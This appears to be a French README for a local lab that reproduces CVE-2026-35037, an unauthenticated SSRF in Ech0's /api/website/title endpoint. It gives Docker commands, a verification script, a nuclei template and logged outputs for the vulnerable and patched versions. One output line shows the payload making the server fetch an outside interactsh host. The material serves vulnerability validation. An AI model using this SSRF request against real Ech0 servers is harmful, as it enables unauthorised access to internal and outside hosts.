
Labo de reproduction isolé en local pour CVE-2026-35037, une vulnérabilité SSRF non authentifiée dans le point de terminaison GET /api/website/title d'Ech0. Comprend une configuration Docker Compose, un script de vérification et un modèle nuclei pour la validation.
Ce dépôt contient un laboratoire de reproduction local et isolé pour CVE-2026-35037, une vulnérabilité SSRF non authentifiée dans le point d'accès GET /api/website/title d'Ech0.
Le laboratoire utilise un serveur de preuves local contrôlé au lieu de métadonnées cloud ou d'infrastructure tierce.
lin-snow/Ech0CVE-2026-35037GHSA-cqgf-f4x7-g6wc<= 4.2.1 ; NVD décrit les versions antérieures à 4.2.84.2.8GET /api/website/titlewebsite_urlRéférences :
docker-compose.yml : démarre Ech0 et un serveur HTTP de preuves localDockerfile.ech0-lab : construit Ech0 à partir du tag officiel GitHubverify-cve-2026-35037.sh : envoie la requête de vérification SSRF contrôléeevidence/index.html : page HTML contrôlée avec un <title> uniquenuclei/CVE-2026-35037.yaml : candidat modèle nucleiLes tags Docker historiques vulnérables comme sn0wl1n/ech0:4.2.1 n'étaient pas disponibles lors de la création de ce laboratoire. Le laboratoire construit à partir des tags GitHub officiels lin-snow/Ech0 à la place :
v4.2.1 pour le candidat vulnérablev4.2.8 pour la comparaison corrigéeLe Dockerfile local évite également les problèmes de construction en amont observés avec le build.Dockerfile historique.
curlnucleiExécutez ceci uniquement dans un laboratoire local isolé. N'utilisez pas ces commandes contre des systèmes tiers. Utilisez uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester.
Démarrez Ech0 v4.2.1 :
ECH0_TAG=4.2.1 docker compose up -d --build
Envoyez la requête de vérification contrôlée :
sh verify-cve-2026-35037.sh
Réponse vulnérable attendue :
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"code":1,"msg":"获取网站标题成功","data":"ECH0-SSRF-CVE-2026-35037"}
Confirmez qu'Ech0 a atteint le serveur de preuves contrôlé :
docker compose logs evidence
Journal de preuves observé :
ech0-cve-2026-35037-evidence | 192.168.107.3 - - [20/May/2026 03:48:51] "GET / HTTP/1.1" 200 -
Démarrez Ech0 v4.2.8 :
docker compose down -v
ECH0_TAG=4.2.8 docker compose up -d --build
Exécutez la même requête :
sh verify-cve-2026-35037.sh
Réponse corrigée observée :
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=utf-8
{"code":0,"msg":"未找到令牌,请点击右上角登录","error_code":"TOKEN_MISSING","message_key":"auth.token_missing","data":null}
Validez le modèle :
nuclei -validate -t nuclei/CVE-2026-35037.yaml
Exécutez contre la version vulnérable v4.2.1 :
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Résultat vulnérable observé :
[INF] Using Interactsh Server: oast.online
[CVE-2026-35037] [http] [high] http://127.0.0.1:6277/api/website/title?website_url=http://d86j283ea0u4jbaqj8dgo4cgc4jhn7r3f.oast.online/
[INF] Scan completed in 6.425886625s. 1 matches found.
Exécutez contre la version corrigée v4.2.8 :
nuclei -t nuclei/CVE-2026-35037.yaml -u http://127.0.0.1:6277
Résultat corrigé observé :
[INF] Using Interactsh Server: oast.fun
[INF] Scan completed in 5.974574416s. No results found.
docker compose down -v
http://evidence:8080/ à l'intérieur du réseau Docker Compose.{{interactsh-url}} et nécessite le support OAST/interactsh.{{interactsh-url}}, qui contacte par défaut les serveurs interactsh de ProjectDiscovery comme oast.online ou oast.fun. Utilisez -iserver pour remplacer le serveur ou -ni pour désactiver interactsh.